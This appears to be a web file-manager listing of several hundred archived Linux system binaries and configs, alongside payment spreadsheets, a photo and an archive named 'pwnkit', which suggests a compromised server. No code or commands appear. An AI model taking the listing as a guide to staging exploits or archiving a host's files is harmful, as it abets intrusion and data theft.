lsattr.tar.gz File 3.97 KB 0644
lsb.zip File 19.77 KB 0644
lsb_release.tar File 5.5 KB 0644
lsb_release.tar.gz File 1.2 KB 0644
lvchange.tar File 2.89 MB 0644
lvchange.tar.gz File 932.15 KB 0644
lvconvert.tar File 2.89 MB 0644
lvconvert.tar.gz File 932.16 KB 0644
lvextend.tar File 2.89 MB 0644
lvextend.tar.gz File 932.15 KB 0644
lvm.tar File 120 KB 0644
lvm.tar.gz File 28 KB 0644
lvmconfig.tar File 2.89 MB 0644
lvmconfig.tar.gz File 932.16 KB 0644
lvmdump.tar File 12 KB 0644
lvmdump.tar.gz File 3.64 KB 0644
lvmsadc.tar File 2.89 MB 0644
lvmsadc.tar.gz File 932.15 KB 0644
lvreduce.tar File 2.89 MB 0644
lvreduce.tar.gz File 932.15 KB 0644
lvrename.tar File 2.89 MB 0644
lvrename.tar.gz File 932.15 KB 0644
lvresize.tar File 2.89 MB 0644
lvresize.tar.gz File 932.15 KB 0644
lzcat.tar File 84.5 KB 0644
lzcat.tar.gz File 33.92 KB 0644
machine-id.tar File 2 KB 0644
machine-id.tar.gz File 120 B 0644
magic.mime.mime.tar.gz File 177 B 0644
magic.mime.tar File 2 KB 0644
make-ssl-cert.tar File 8.5 KB 0644
make-ssl-cert.tar.gz File 2.42 KB 0644
man.tar File 119.5 KB 0644
man.tar.gz File 51.43 KB 0644
mandb.tar File 282 KB 0644
mandb.tar.gz File 58.62 KB 0644
manifest.tar File 3.5 KB 0644
manifest.tar.gz File 1012 B 0644
maps.tar File 7.5 KB 0644
maps.tar.gz File 76 B 0644
mariadb-common.tar File 43 KB 0644
mariadb-common.tar.gz File 14.41 KB 0644
mariadb-hotcopy.tar File 36 KB 0644
mariadb-hotcopy.tar.gz File 11.7 KB 0644
mariadb-repair.tar File 3.86 MB 0644
mariadb-repair.tar.gz File 1007.13 KB 0644
mariadb-report.tar File 50 KB 0644
mariadb-report.tar.gz File 11.71 KB 0644
mariadb-setpermission.tar File 19.5 KB 0644
mariadb-setpermission.tar.gz File 5.31 KB 0644
mariadb-waitpid.tar File 3.54 MB 0644
mariadb-waitpid.tar.gz File 891 KB 0644
mariadb.tar File 4.09 MB 0644
mariadb.tar.gz File 1.07 MB 0644
mc.tar File 1.34 MB 0644
mc.tar.gz File 70.22 KB 0644
mc.zip File 253.13 KB 0644
mcookie.tar File 28 KB 0644
mcookie.tar.gz File 8.89 KB 0644
mcview.tar File 1.05 MB 0644
mcview.tar.gz File 505.34 KB 0644
md5sum.textutils.tar File 44 KB 0644
md5sum.textutils.textutils.tar.gz File 17.39 KB 0644
migrate-pubring-from-classic-gpg.tar File 4.5 KB 0644
migrate-pubring-from-classic-gpg.tar.gz File 1.4 KB 0644
mime.zip File 7.24 KB 0644
mke2fs.conf.conf.tar.gz File 420 B 0644
mke2fs.conf.tar File 2.5 KB 0644
mkfs.btrfs.btrfs.tar.gz File 262.4 KB 0644
mkfs.btrfs.tar File 473 KB 0644
mkfs.ext3.ext3.tar.gz File 56.91 KB 0644
mkfs.ext3.tar File 132.5 KB 0644
mkfs.ext4.ext4.tar.gz File 56.91 KB 0644
mkfs.ext4.tar File 132.5 KB 0644
mkfs.fat.fat.tar.gz File 21.77 KB 0644
mkfs.fat.tar File 52.5 KB 0644
mkfs.minix.minix.tar.gz File 17.04 KB 0644
mkfs.minix.tar File 44 KB 0644
mkfs.msdos.msdos.tar.gz File 21.77 KB 0644
mkfs.msdos.tar File 52.5 KB 0644
mkfs.ntfs.ntfs.tar.gz File 29.88 KB 0644
mkfs.ntfs.tar File 72 KB 0644
mkfs.tar File 16 KB 0644
mkfs.tar.gz File 4.26 KB 0644
mkfs.vfat.tar File 52.5 KB 0644
mkfs.vfat.vfat.tar.gz File 21.77 KB 0644
mkhomedir_helper.tar File 24 KB 0644
mkhomedir_helper.tar.gz File 4.16 KB 0644
mkinitramfs.tar File 14 KB 0644
mkinitramfs.tar.gz File 4.63 KB 0644
modprobe.tar File 168 KB 0644
modprobe.tar.gz File 76.67 KB 0644
modules.tar File 6.5 KB 0644
modules.tar.gz File 1.14 KB 0644
motd.dynamic.dynamic.tar.gz File 586 B 0644
motd.dynamic.tar File 2.5 KB 0644
mount.fuse.fuse.tar.gz File 5.3 KB 0644
mount.fuse.tar File 20 KB 0644
mount.fuse3.fuse3.tar.gz File 5.31 KB 0644
mount.fuse3.tar File 20 KB 0644
mount.ntfs.ntfs.tar.gz File 66.87 KB 0644
mount.ntfs.tar File 161 KB 0644
mountinfo.tar File 15 KB 0644
mountinfo.tar.gz File 993 B 0644
mounts.tar File 25 KB 0644
mounts.tar.gz File 706 B 0644
mpath_persist.h.h.tar.gz File 3.21 KB 0644
mpath_persist.h.tar File 13 KB 0644
mpathpersist.tar File 33 KB 0644
mpathpersist.tar.gz File 9.83 KB 0644
msql2mysql.tar File 3 KB 0644
msql2mysql.tar.gz File 818 B 0644
multipath.tar File 36 KB 0644
multipath.tar.gz File 11.79 KB 0644
multipath.zip File 327.11 KB 0644
myisampack.tar File 3.89 MB 0644
myisampack.tar.gz File 1.05 MB 0644
mysql_fix_extensions.tar File 3 KB 0644
mysql_fix_extensions.tar.gz File 841 B 0644
mysql_install_db.tar File 24 KB 0644
mysql_install_db.tar.gz File 7.16 KB 0644
mysql_setpermission.tar File 19.5 KB 0644
mysql_setpermission.tar.gz File 5.31 KB 0644
mysql_tzinfo_to_sql.tar File 3.55 MB 0644
mysql_tzinfo_to_sql.tar.gz File 896.57 KB 0644
mysqlbinlog.tar File 4.12 MB 0644
mysqlbinlog.tar.gz File 1.11 MB 0644
mysqlcheck.tar File 3.86 MB 0644
mysqlcheck.tar.gz File 1007.13 KB 0644
mysqld_safe.tar File 32 KB 0644
mysqld_safe.tar.gz File 10.3 KB 0644
mysqld_safe_helper.tar File 3.51 MB 0644
mysqld_safe_helper.tar.gz File 875.83 KB 0644
mysqlhotcopy.tar File 36 KB 0644
mysqlhotcopy.tar.gz File 11.7 KB 0644
mysqloptimize.tar File 3.86 MB 0644
mysqloptimize.tar.gz File 1007.13 KB 0644
nawk.tar File 690 KB 0644
nawk.tar.gz File 344.97 KB 0644
neqn.tar File 2.5 KB 0644
neqn.tar.gz File 644 B 0644
netcat-openbsd.zip File 35.47 KB 0644
netplan.zip File 155.89 KB 0644
network.tar File 2 KB 0644
network.tar.gz File 166 B 0644
networkctl.tar File 104 KB 0644
networkctl.tar.gz File 42.14 KB 0644
newgrp.tar File 41.5 KB 0644
newgrp.tar.gz File 13.4 KB 0644
newusers.tar File 76.5 KB 0644
newusers.tar.gz File 29.13 KB 0644
nfnl_osf.tar File 20 KB 0644
nfnl_osf.tar.gz File 5.06 KB 0644
nft.tar File 28 KB 0644
nft.tar.gz File 7.08 KB 0644
ngettext.tar File 36 KB 0644
ngettext.tar.gz File 10.84 KB 0644
nginx.pid.pid.tar.gz File 76 B 0644
nginx.pid.tar File 1.5 KB 0644
nginx.tar File 1.56 MB 0644
nginx.tar.gz File 528.32 KB 0644
nl.tar File 100.5 KB 0644
nl.tar.gz File 48.09 KB 0644
nsenter.tar File 28.5 KB 0644
nsenter.tar.gz File 7.55 KB 0644
nslookup.tar File 120.5 KB 0644
nslookup.tar.gz File 48.47 KB 0644
ntfs-3g.probe.probe.tar.gz File 3.05 KB 0644
ntfs-3g.probe.tar File 16 KB 0644
ntfs-3g.tar File 161 KB 0644
ntfs-3g.tar.gz File 66.87 KB 0644
ntfsclone.tar File 52 KB 0644
ntfsclone.tar.gz File 20 KB 0644
ntfscmp.tar File 32 KB 0644
ntfscmp.tar.gz File 9.16 KB 0644
ntfsfix.tar File 36 KB 0644
ntfsfix.tar.gz File 12.3 KB 0644
ntfsls.tar File 29 KB 0644
ntfsls.tar.gz File 8.66 KB 0644
ntfsmove.tar File 32 KB 0644
ntfsmove.tar.gz File 11.06 KB 0644
ntfsresize.tar File 64 KB 0644
ntfsresize.tar.gz File 27.94 KB 0644
ntfsundelete.tar File 52 KB 0644
ntfsundelete.tar.gz File 19.57 KB 0644
ntfsusermap.tar File 20 KB 0644
ntfsusermap.tar.gz File 7.08 KB 0644
numa_maps.tar File 4 KB 0644
numa_maps.tar.gz File 81 B 0644
nvacps.tar File 2 KB 0644
nvacps.tar.gz File 186 B 0644
nvacps.zip File 258 B 0644
nvidia-detector.tar File 2 KB 0644
nvidia-detector.tar.gz File 249 B 0644
on_ac_power.tar File 5.5 KB 0644
on_ac_power.tar.gz File 1.57 KB 0644
oom_adj.tar File 11 KB 0644
oom_adj.tar.gz File 90 B 0644
oom_score.tar File 3 KB 0644
oom_score.tar.gz File 92 B 0644
oom_score_adj.tar File 9 KB 0644
oom_score_adj.tar.gz File 96 B 0644
open-iscsi.zip File 29.66 KB 0644
open.tar File 20 KB 0644
open.tar.gz File 5.04 KB 0644
openssh.tar File 676 KB 0644
openssh.tar.gz File 280.98 KB 0644
os-prober.tar File 9.5 KB 0644
os-prober.tar.gz File 3.89 KB 0644
overlayroot-chroot.tar File 4 KB 0644
overlayroot-chroot.tar.gz File 1.25 KB 0644
pam-auth-update.tar File 22 KB 0644
pam-auth-update.tar.gz File 7.25 KB 0644
pam.d.zip File 522 B 0644
pam_getenv.tar File 4.5 KB 0644
pam_getenv.tar.gz File 1.43 KB 0644
parted.tar File 88 KB 0644
parted.tar.gz File 35.24 KB 0644
payments 2025-05-28 15-23-40.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-23-40.xlsx.xlsx.tar.gz File 6.15 KB 0644
payments 2025-05-28 15-24-23.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-24-23.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-28 15-32-07.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-32-07.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-29 03-55-40.xlsx.tar File 8.5 KB 0644
payments 2025-05-29 03-55-40.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-30 07-55-52.xlsx.tar File 9 KB 0644
payments 2025-05-30 07-55-52.xlsx.xlsx.tar.gz File 6.44 KB 0644
payments 2025-05-30 07-59-34.xlsx.tar File 9 KB 0644
payments 2025-05-30 07-59-34.xlsx.xlsx.tar.gz File 6.44 KB 0644
payments 2025-07-16 13-57-11.xlsx.tar File 8.5 KB 0644
payments 2025-07-16 13-57-11.xlsx.xlsx.tar.gz File 6.32 KB 0644
payments 2025-07-16 14-04-06.xlsx.tar File 9.5 KB 0644
payments 2025-07-16 14-04-06.xlsx.xlsx.tar.gz File 7.3 KB 0644
payments 2025-07-16 15-16-08.xlsx.tar File 9.5 KB 0644
payments 2025-07-16 15-16-08.xlsx.xlsx.tar.gz File 7.3 KB 0644
payments 2025-07-18 12-09-36.xlsx.tar File 10 KB 0644
payments 2025-07-18 12-09-36.xlsx.xlsx.tar.gz File 7.9 KB 0644
payments 2025-07-18 12-09-53.xlsx.tar File 10 KB 0644
payments 2025-07-18 12-09-53.xlsx.xlsx.tar.gz File 7.9 KB 0644
payments 2025-08-01 07-45-11.xlsx.tar File 9.5 KB 0644
payments 2025-08-01 07-45-11.xlsx.xlsx.tar.gz File 7 KB 0644
payments 2025-08-01 09-00-13.xlsx.tar File 9.5 KB 0644
payments 2025-08-01 09-00-13.xlsx.xlsx.tar.gz File 7 KB 0644
pbget.tar File 4.5 KB 0644
pbget.tar.gz File 1.3 KB 0644
pbput.tar File 4.5 KB 0644
pbput.tar.gz File 1.3 KB 0644
pbputs.tar File 4.5 KB 0644
pbputs.tar.gz File 1.3 KB 0644
perl.tar File 2.5 KB 0644
perl.tar.gz File 376 B 0644
perl.zip File 773 B 0644
perl5.34.0.34.0.tar.gz File 1.25 MB 0644
perl5.34.0.tar File 3.63 MB 0644
perlivp.tar File 12.5 KB 0644
perlivp.tar.gz File 3.6 KB 0644
perror.tar File 3.73 MB 0644
perror.tar.gz File 944.34 KB 0644
pg_config.tar File 3 KB 0644
pg_config.tar.gz File 772 B 0644
pg_ctlcluster.tar File 24.5 KB 0644
pg_ctlcluster.tar.gz File 7.32 KB 0644
pg_dropcluster.tar File 10 KB 0644
pg_dropcluster.tar.gz File 2.88 KB 0644
pg_dumpall.tar File 11 KB 0644
pg_dumpall.tar.gz File 3.65 KB 0644
pg_isready.tar File 11 KB 0644
pg_isready.tar.gz File 3.65 KB 0644
pg_lsclusters.tar File 7 KB 0644
pg_lsclusters.tar.gz File 2.39 KB 0644
pg_receivewal.tar File 11 KB 0644
pg_receivewal.tar.gz File 3.66 KB 0644
pg_restore.tar File 11 KB 0644
pg_restore.tar.gz File 3.65 KB 0644
pg_restorecluster.tar File 15 KB 0644
pg_restorecluster.tar.gz File 4.08 KB 0644
phar8.3.3.tar.gz File 14.48 KB 0644
phar8.3.tar File 16.5 KB 0644
phar8.4.4.tar.gz File 14.49 KB 0644
phar8.4.tar File 16.5 KB 0644
photo_2026-01-13_13-45-49.jpg.jpg.tar.gz File 141.67 KB 0644
photo_2026-01-13_13-45-49.jpg.tar File 144.5 KB 0644
php-fpm8.3.3.tar.gz File 2.13 MB 0644
php-fpm8.3.tar File 5.51 MB 0644
php8.3-gd.tar File 2 KB 0644
php8.3-gd.tar.gz File 145 B 0644
php8.3.3.tar.gz File 2.12 MB 0644
php8.3.tar File 5.53 MB 0644
php8.4.4.tar.gz File 2.19 MB 0644
php8.4.tar File 5.75 MB 0644
phpenmod.tar File 9 KB 0644
phpenmod.tar.gz File 2.38 KB 0644
pico.tar File 278.5 KB 0644
pico.tar.gz File 135.37 KB 0644
piconv.tar File 10 KB 0644
piconv.tar.gz File 3.05 KB 0644
pigz.tar File 136 KB 0644
pigz.tar.gz File 64.25 KB 0644
pinky.tar File 36 KB 0644
pinky.tar.gz File 13.52 KB 0644
pkcon.tar File 60 KB 0644
pkcon.tar.gz File 19.29 KB 0644
pki.zip File 10.51 KB 0644
pl2pm.tar File 6 KB 0644
pl2pm.tar.gz File 2.16 KB 0644
pldd.tar File 24 KB 0644
pldd.tar.gz File 6.01 KB 0644
plymouth.tar File 48 KB 0644
plymouth.tar.gz File 16.12 KB 0644
plymouthd.tar File 152.5 KB 0644
plymouthd.tar.gz File 42.64 KB 0644
pod2html.tar File 6 KB 0644
pod2html.tar.gz File 1.6 KB 0644
pod2man.tar File 16.5 KB 0644
pod2man.tar.gz File 5.95 KB 0644
pod2usage.tar File 6 KB 0644
pod2usage.tar.gz File 1.81 KB 0644
podchecker.tar File 5.5 KB 0644
podchecker.tar.gz File 1.68 KB 0644
pollinate.tar File 5.5 KB 0644
pollinate.tar.gz File 2.09 KB 0644
postgresql-common.zip File 3.63 KB 0644
power.tar File 32 KB 0644
power.tar.gz File 889 B 0644
poweroff.tar File 1.07 MB 0644
poweroff.tar.gz File 508.75 KB 0644
printenv.tar File 32 KB 0644
printenv.tar.gz File 10.12 KB 0644
printf.tar File 52 KB 0644
printf.tar.gz File 20.07 KB 0644
prlimit.tar File 28.5 KB 0644
prlimit.tar.gz File 8.7 KB 0644
projid_map.tar File 8 KB 0644
projid_map.tar.gz File 112 B 0644
prove.tar File 15 KB 0644
prove.tar.gz File 5.32 KB 0644
prtstat.tar File 24 KB 0644
prtstat.tar.gz File 6.5 KB 0644
psfaddtable.tar File 28 KB 0644
psfaddtable.tar.gz File 9.69 KB 0644
psfgettable.tar File 28 KB 0644
psfgettable.tar.gz File 9.69 KB 0644
psfxtable.tar File 28 KB 0644
psfxtable.tar.gz File 9.69 KB 0644
psql.tar File 11 KB 0644
psql.tar.gz File 3.65 KB 0644
pstree.tar File 37 KB 0644
pstree.tar.gz File 13.34 KB 0644
pstree.x11.tar File 37 KB 0644
pstree.x11.x11.tar.gz File 13.34 KB 0644
ptar.tar File 5 KB 0644
ptar.tar.gz File 1.64 KB 0644
pvchange.tar File 2.89 MB 0644
pvchange.tar.gz File 932.15 KB 0644
pvcreate.tar File 2.89 MB 0644
pvcreate.tar.gz File 932.15 KB 0644
pvdisplay.tar File 2.89 MB 0644
pvdisplay.tar.gz File 932.16 KB 0644
pwck.tar File 52 KB 0644
pwck.tar.gz File 18.29 KB 0644
pwdx.tar File 16 KB 0644
pwdx.tar.gz File 3.86 KB 0644
pwnkit.tar File 12.5 KB 0644
pwnkit.tar.gz File 3.9 KB 0644
pydoc3.10.10.tar.gz File 155 B 0644
pydoc3.10.tar File 2 KB 0644
python3-pkg-resources.tar File 36.5 KB 0644
python3-pkg-resources.tar.gz File 31.62 KB 0644
python3-yaml.zip File 34.79 KB 0644
python3-zope.hookable.zip File 3.87 KB 0644
python3.10.10.tar.gz File 2.47 MB 0644
python3.10.tar File 5.67 MB 0644
python3.10.tar.gz File 2.47 MB 0644
pzstd.tar File 704 KB 0644
pzstd.tar.gz File 299.87 KB 0644
quirks-handler.tar File 4 KB 0644
quirks-handler.tar.gz File 1.09 KB 0644
rbash.tar File 1.33 MB 0644
rbash.tar.gz File 650.46 KB 0644
readprofile.tar File 24 KB 0644
readprofile.tar.gz File 6.76 KB 0644
reboot-required.pkgs.pkgs.tar.gz File 114 B 0644
reboot-required.pkgs.tar File 2 KB 0644
reboot.tar File 1.07 MB 0644
reboot.tar.gz File 508.75 KB 0644
redis-benchmark.tar File 732.5 KB 0644
redis-benchmark.tar.gz File 206.08 KB 0644
redis-check-aof.tar File 1.41 MB 0644
redis-check-aof.tar.gz File 656.89 KB 0644
redis-check-rdb.tar File 1.41 MB 0644
redis-check-rdb.tar.gz File 656.89 KB 0644
redis-server.tar File 1.41 MB 0644
redis-server.tar.gz File 656.89 KB 0644
remove-shell.tar File 3 KB 0644
remove-shell.tar.gz File 628 B 0644
resize2fs.tar File 68 KB 0644
resize2fs.tar.gz File 26.72 KB 0644
resizecons.tar File 28 KB 0644
resizecons.tar.gz File 8.66 KB 0644
resolveip.tar File 3.54 MB 0644
resolveip.tar.gz File 891.42 KB 0644
rmiregistry.tar File 16 KB 0644
rmiregistry.tar.gz File 2.5 KB 0644
rmt-tar.tar File 60.5 KB 0644
rmt-tar.tar.gz File 25.78 KB 0644
rotatelogs.tar File 28 KB 0644
rotatelogs.tar.gz File 7.88 KB 0644
rrsync.tar File 14 KB 0644
rrsync.tar.gz File 4.51 KB 0644
rsync.zip File 74.36 KB 0644
rsyslogd.tar File 769 KB 0644
rsyslogd.tar.gz File 330.26 KB 0644
rtc.tar File 2 KB 0644
rtc.tar.gz File 274 B 0644
rtmon.tar File 92 KB 0644
rtmon.tar.gz File 37.85 KB 0644
run-one.tar File 5.5 KB 0644
run-one.tar.gz File 1.67 KB 0644
run-parts.tar File 28.5 KB 0644
run-parts.tar.gz File 7.93 KB 0644
run-this-one.tar File 5.5 KB 0644
run-this-one.tar.gz File 1.68 KB 0644
runcon.tar File 36.5 KB 0644
runcon.tar.gz File 12.01 KB 0644
runlevel.tar File 1.07 MB 0644
runlevel.tar.gz File 508.75 KB 0644
rvim.tar File 3.61 MB 0644
rvim.tar.gz File 1.85 MB 0644
samurai_activity.log.log.tar.gz File 294 B 0644
samurai_activity.log.tar File 2 KB 0644
sar.sysstat.sysstat.tar.gz File 53.28 KB 0644
sar.sysstat.tar File 135 KB 0644
sbvarsign.tar File 24.5 KB 0644
sbvarsign.tar.gz File 7.77 KB 0644
sbverify.tar File 36.5 KB 0644
sbverify.tar.gz File 11.54 KB 0644
sched.tar File 11.5 KB 0644
sched.tar.gz File 538 B 0644
schedstat.tar File 6 KB 0644
schedstat.tar.gz File 94 B 0644
screendump.tar File 16 KB 0644
screendump.tar.gz File 3.92 KB 0644
scsi.zip File 6.24 KB 0644
scsi_satl.tar File 5.5 KB 0644
scsi_satl.tar.gz File 1.6 KB 0644
sensible-pager.tar File 2.5 KB 0644
sensible-pager.tar.gz File 455 B 0644
sensors.d.tar File 1.5 KB 0644
sensors.d.tar.gz File 75 B 0644
sensors3.conf.conf.tar.gz File 1.93 KB 0644
sensors3.conf.tar File 12 KB 0644
services.tar File 14.5 KB 0644
services.tar.gz File 5.32 KB 0644
session-migration.tar File 24 KB 0644
session-migration.tar.gz File 5.17 KB 0644
sessionid.tar File 8 KB 0644
sessionid.tar.gz File 102 B 0644
setgroups.tar File 9 KB 0644
setgroups.tar.gz File 95 B 0644
setlogcons.tar File 16 KB 0644
setlogcons.tar.gz File 3.37 KB 0644
setvtrgb.tar File 16 KB 0644
setvtrgb.tar.gz File 4.7 KB 0644
sfdisk.tar File 104 KB 0644
sfdisk.tar.gz File 40.41 KB 0644
sg_copy_results.tar File 25 KB 0644
sg_copy_results.tar.gz File 6.25 KB 0644
sg_decode_sense.tar File 16.5 KB 0644
sg_decode_sense.tar.gz File 5.66 KB 0644
sg_opcodes.tar File 37 KB 0644
sg_opcodes.tar.gz File 11.58 KB 0644
sg_raw.tar File 28.5 KB 0644
sg_raw.tar.gz File 8.98 KB 0644
sg_read_long.tar File 16.5 KB 0644
sg_read_long.tar.gz File 4.82 KB 0644
sg_reassign.tar File 16.5 KB 0644
sg_reassign.tar.gz File 5.87 KB 0644
sg_rmsn.tar File 16.5 KB 0644
sg_rmsn.tar.gz File 3.97 KB 0644
sg_sanitize.tar File 29 KB 0644
sg_sanitize.tar.gz File 9.21 KB 0644
sg_sat_set_features.tar File 20.5 KB 0644
sg_sat_set_features.tar.gz File 5.46 KB 0644
sg_ses_microcode.tar File 29 KB 0644
sg_ses_microcode.tar.gz File 10.11 KB 0644
sg_sync.tar File 16.5 KB 0644
sg_sync.tar.gz File 4.5 KB 0644
sg_vpd.tar File 116 KB 0644
sg_vpd.tar.gz File 44.28 KB 0644
sg_wr_mode.tar File 24.5 KB 0644
sg_wr_mode.tar.gz File 7.38 KB 0644
sg_write_verify.tar File 28.5 KB 0644
sg_write_verify.tar.gz File 7.22 KB 0644
sg_write_x.tar File 57.5 KB 0644
sg_write_x.tar.gz File 20.81 KB 0644
sgdisk.tar File 164 KB 0644
sgdisk.tar.gz File 73.45 KB 0644
sha256sum.tar File 52 KB 0644
sha256sum.tar.gz File 22.17 KB 0644
sha512sum.tar File 60 KB 0644
sha512sum.tar.gz File 24.1 KB 0644
shablon-akta-sverki-1-1.docx.docx.tar.gz File 22.85 KB 0644
shablon-akta-sverki-1-1.docx.tar File 58 KB 0644
shasum.tar File 11.5 KB 0644
shasum.tar.gz File 4.06 KB 0644
shm.tar File 2.5 KB 0644
shm.tar.gz File 265 B 0644
showconsolefont.tar File 20 KB 0644
showconsolefont.tar.gz File 6.97 KB 0644
shutdown.tar File 1.07 MB 0644
shutdown.tar.gz File 508.75 KB 0644
skel.tar File 8 KB 0644
skel.tar.gz File 2.18 KB 0644
slabtop.tar File 24 KB 0644
slabtop.tar.gz File 7.01 KB 0644
smaps.tar File 5 KB 0644
smaps.tar.gz File 76 B 0644
smaps_rollup.tar File 6 KB 0644
smaps_rollup.tar.gz File 83 B 0644
snapd.tar File 32.5 KB 0644
snapd.tar.gz File 29.77 KB 0644
snapd.zip File 2.29 KB 0644
snapfuse.tar File 40 KB 0644
snapfuse.tar.gz File 15.45 KB 0644
snice.tar File 32 KB 0644
snice.tar.gz File 9.86 KB 0644
soelim.tar File 32 KB 0644
soelim.tar.gz File 14.39 KB 0644
sos-collector.tar File 3 KB 0644
sos-collector.tar.gz File 713 B 0644
sosreport.tar File 3 KB 0644
sosreport.tar.gz File 705 B 0644
split.tar File 52.5 KB 0644
split.tar.gz File 21.93 KB 0644
splitfont.tar File 16 KB 0644
splitfont.tar.gz File 2.97 KB 0644
squashfs-tools.zip File 2.56 KB 0644
src.tar File 100.52 MB 0644
src.tar.gz File 22.38 MB 0644
ssh-add.tar File 168 KB 0644
ssh-add.tar.gz File 77.31 KB 0644
ssh-agent.tar File 288 KB 0644
ssh-agent.tar.gz File 120.2 KB 0644
ssh.tar File 829 KB 0644
ssh.tar.gz File 379.08 KB 0644
sshd.tar File 901.5 KB 0644
sshd.tar.gz File 412.18 KB 0644
stat.tar File 86.5 KB 0644
stat.tar.gz File 165 B 0644
stat.zip File 1.95 KB 0644
statm.tar File 5 KB 0644
statm.tar.gz File 91 B 0644
status.tar File 10.5 KB 0644
status.tar.gz File 422 B 0644
stdbuf.tar File 44.5 KB 0644
stdbuf.tar.gz File 18.33 KB 0644
subgid.tar File 2 KB 0644
subgid.tar.gz File 112 B 0644
sudo.tar File 228.5 KB 0644
sudo.tar.gz File 100.2 KB 0644
sudo_logsrvd.conf.conf.tar.gz File 2.96 KB 0644
sudo_logsrvd.conf.tar File 11 KB 0644
sudo_logsrvd.tar File 202 KB 0644
sudo_logsrvd.tar.gz File 83.83 KB 0644
sudo_sendlog.tar File 109 KB 0644
sudo_sendlog.tar.gz File 41.41 KB 0644
sudoreplay.tar File 89.5 KB 0644
sudoreplay.tar.gz File 35.02 KB 0644
swapoff.tar File 24 KB 0644
swapoff.tar.gz File 6.6 KB 0644
swaps.tar File 2 KB 0644
swaps.tar.gz File 152 B 0644
switch_root.tar File 24 KB 0644
switch_root.tar.gz File 4.95 KB 0644
sysstat.zip File 8.42 KB 0644
systemctl.tar File 1.07 MB 0644
systemctl.tar.gz File 508.74 KB 0644
systemd-ask-password.tar File 20 KB 0644
systemd-ask-password.tar.gz File 5.26 KB 0644
systemd-cgls.tar File 24 KB 0644
systemd-cgls.tar.gz File 5.91 KB 0644
systemd-cgtop.tar File 40 KB 0644
systemd-cgtop.tar.gz File 12.93 KB 0644
systemd-escape.tar File 24 KB 0644
systemd-escape.tar.gz File 5.59 KB 0644
systemd-hwdb.tar File 120.5 KB 0644
systemd-hwdb.tar.gz File 56.12 KB 0644
systemd-inhibit.tar File 24 KB 0644
systemd-inhibit.tar.gz File 6.98 KB 0644
systemd-mount.tar File 52.5 KB 0644
systemd-mount.tar.gz File 19.8 KB 0644
systemd-run.tar File 64.5 KB 0644
systemd-run.tar.gz File 22.03 KB 0644
tabs.tar File 20 KB 0644
tabs.tar.gz File 6.39 KB 0644
tapestat.tar File 28 KB 0644
tapestat.tar.gz File 9.16 KB 0644
tarcat.tar File 2.5 KB 0644
tarcat.tar.gz File 607 B 0644
tbl.tar File 128 KB 0644
tbl.tar.gz File 53.02 KB 0644
tc.tar File 616 KB 0644
tc.tar.gz File 263.82 KB 0644
telnet.tar File 109.5 KB 0644
telnet.tar.gz File 45.18 KB 0644
thin_ls.tar File 1.33 MB 0644
thin_ls.tar.gz File 510.81 KB 0644
thin_metadata_size.tar File 1.33 MB 0644
thin_metadata_size.tar.gz File 510.82 KB 0644
thin_rmap.tar File 1.33 MB 0644
thin_rmap.tar.gz File 510.81 KB 0644
thin_trim.tar File 1.33 MB 0644
thin_trim.tar.gz File 510.81 KB 0644
timedatectl.tar File 48 KB 0644
timedatectl.tar.gz File 15.88 KB 0644
timens_offsets.tar File 3 KB 0644
timens_offsets.tar.gz File 122 B 0644
timers.tar File 5 KB 0644
timers.tar.gz File 77 B 0644
timerslack_ns.tar File 4 KB 0644
timerslack_ns.tar.gz File 86 B 0644
timesync.tar File 1.5 KB 0644
timesync.tar.gz File 75 B 0644
tipc.tar File 92 KB 0644
tipc.tar.gz File 35.1 KB 0644
tkconch3.tar File 2.5 KB 0644
tkconch3.tar.gz File 556 B 0644
tload.tar File 20 KB 0644
tload.tar.gz File 5.09 KB 0644
tmpfiles.d.tar File 2 KB 0644
tmpfiles.d.tar.gz File 239 B 0644
tmpfiles.d.zip File 15.58 KB 0644
tmux.tar File 16 KB 0644
tmux.tar.gz File 6.08 KB 0644
tnftp.tar File 25 KB 0644
tnftp.tar.gz File 7.91 KB 0644
tr.tar File 48.5 KB 0644
tr.tar.gz File 18.09 KB 0644
trial3.tar File 2.5 KB 0644
trial3.tar.gz File 556 B 0644
troff.tar File 720.5 KB 0644
troff.tar.gz File 257.09 KB 0644
true.tar File 28 KB 0644
true.tar.gz File 9.52 KB 0644
truncate.tar File 36.5 KB 0644
truncate.tar.gz File 13.33 KB 0644
tsort.tar File 48.5 KB 0644
tsort.tar.gz File 17.71 KB 0644
tune2fs.tar File 104.5 KB 0644
tune2fs.tar.gz File 44.96 KB 0644
tzconfig.tar File 2 KB 0644
tzconfig.tar.gz File 180 B 0644
ubuntu-advantage.tar File 2 KB 0644
ubuntu-advantage.tar.gz File 142 B 0644
ubuntu-distro-info.tar File 24.5 KB 0644
ubuntu-distro-info.tar.gz File 8.03 KB 0644
ubuntu-drivers.tar File 20 KB 0644
ubuntu-drivers.tar.gz File 4.06 KB 0644
ucf.tar File 49.5 KB 0644
ucf.tar.gz File 10.9 KB 0644
ucf.zip File 30.67 KB 0644
udev.tar File 64.5 KB 0644
udev.tar.gz File 7.52 KB 0644
ufw.lock.lock.tar.gz File 75 B 0644
ufw.lock.tar File 1.5 KB 0644
ufw.tar File 6.5 KB 0644
ufw.tar.gz File 1.92 KB 0644
ufw.zip File 20.07 KB 0644
uid_map.tar File 5 KB 0644
uid_map.tar.gz File 108 B 0644
unicode_start.tar File 4.5 KB 0644
unicode_start.tar.gz File 1.43 KB 0644
unicode_stop.tar File 2.5 KB 0644
unicode_stop.tar.gz File 431 B 0644
unix_chkpwd.tar File 28 KB 0644
unix_chkpwd.tar.gz File 9.2 KB 0644
unix_update.tar File 32 KB 0644
unix_update.tar.gz File 11.88 KB 0644
unlink.tar File 32.5 KB 0644
unlink.tar.gz File 10.31 KB 0644
unxz.tar File 84.5 KB 0644
unxz.tar.gz File 33.92 KB 0644
update-ca-certificates.tar File 7 KB 0644
update-ca-certificates.tar.gz File 2.24 KB 0644
update-grub2.tar File 2 KB 0644
update-grub2.tar.gz File 152 B 0644
update-initramfs.tar File 8.5 KB 0644
update-initramfs.tar.gz File 2.3 KB 0644
update-java-alternatives.tar File 5 KB 0644
update-java-alternatives.tar.gz File 1.21 KB 0644
update-locale.tar File 4.5 KB 0644
update-locale.tar.gz File 1.38 KB 0644
